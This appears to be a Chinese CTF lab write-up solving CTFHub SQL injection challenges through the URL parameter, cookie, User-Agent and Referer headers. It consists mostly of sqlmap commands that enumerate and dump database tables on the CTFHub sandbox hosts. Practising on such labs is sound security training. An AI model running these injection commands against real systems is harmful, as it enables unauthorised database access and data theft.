一、ctfhub靶场查询SQL注入
1.在ctfhub靶场测试sql注入
2.以上注入都是flag表,flag字段,最后提交的为flag字段里面的内容
3. 存在SQL注入![](https://img-blog.csdnimg.cn/370f196e1bf6417dba709c8757bdd6ac.png)
4.已知数据库,表,字段,直接使用语句
python sqlmap.py -u http://challenge-fb5fd3a370bee491.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
二、查询Cookie的SQL注入
1.登入网站
2.brup抓包
3.创建文档,粘贴抓到的包![](https://img-blog.csdnimg.cn/7760b5e245a34de5af0ecb40fd6c4bdb.png)
4.给cookie添加 * ,指定查询该位置是否有SQL注入
5.sqlmap查询是否存在SQL注入(也可以使用level -2)![](https://img-blog.csdnimg.cn/971391762d2f4a2bae7f0e428758ffc5.png)
6.存在SQL注入
7.查询数据
(1)查询数据库
python sqlmap.py -r C:\Users\南倾\Desktop\123.txt --dbs
(2)查询表
python sqlmap.py -r C:\Users\南倾\Desktop\123.txt -D sqli --tables
(3)查询表中的字段
python sqlmap.py -r C:\Users\南倾\Desktop\123.txt -D sqli -T rnfsjjhfwr --columns
(4)查询字段的内容
python sqlmap.py -r C:\Users\南倾\Desktop\123.txt -D sqli -T rnfsjjhfwr -C syfgashivy --dump
8.提交flag
三、查询UA注入
使用level 3
python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3
python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3 --dbs
python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3 -D sqli --tables
python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3 -D sqli -T suigzvbmzy --columns
python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3 -D sqli -T suigzvbmzy -C qenrtsitoa --dump
四、Refer注入
python sqlmap.py -u http://challenge-4b50bf1e554f8e79.sandbox.ctfhub.com:10800 -level 3
python sqlmap.py -u http://challenge-4b50bf1e554f8e79.sandbox.ctfhub.com:10800 -level 3 --dbs
python sqlmap.py -u http://challenge-4b50bf1e554f8e79.sandbox.ctfhub.com:10800 -level 3 -D sqli --tables
python sqlmap.py -u http://challenge-8034e37eb0d94c95.sandbox.ctfhub.com:10800 -level 3 -D sqli -T ayvupotdny --columns
python sqlmap.py -u http://challenge-8034e37eb0d94c95.sandbox.ctfhub.com:10800 -level 3 -D sqli -T ayvupotdny -C fhraxdpwyt --dump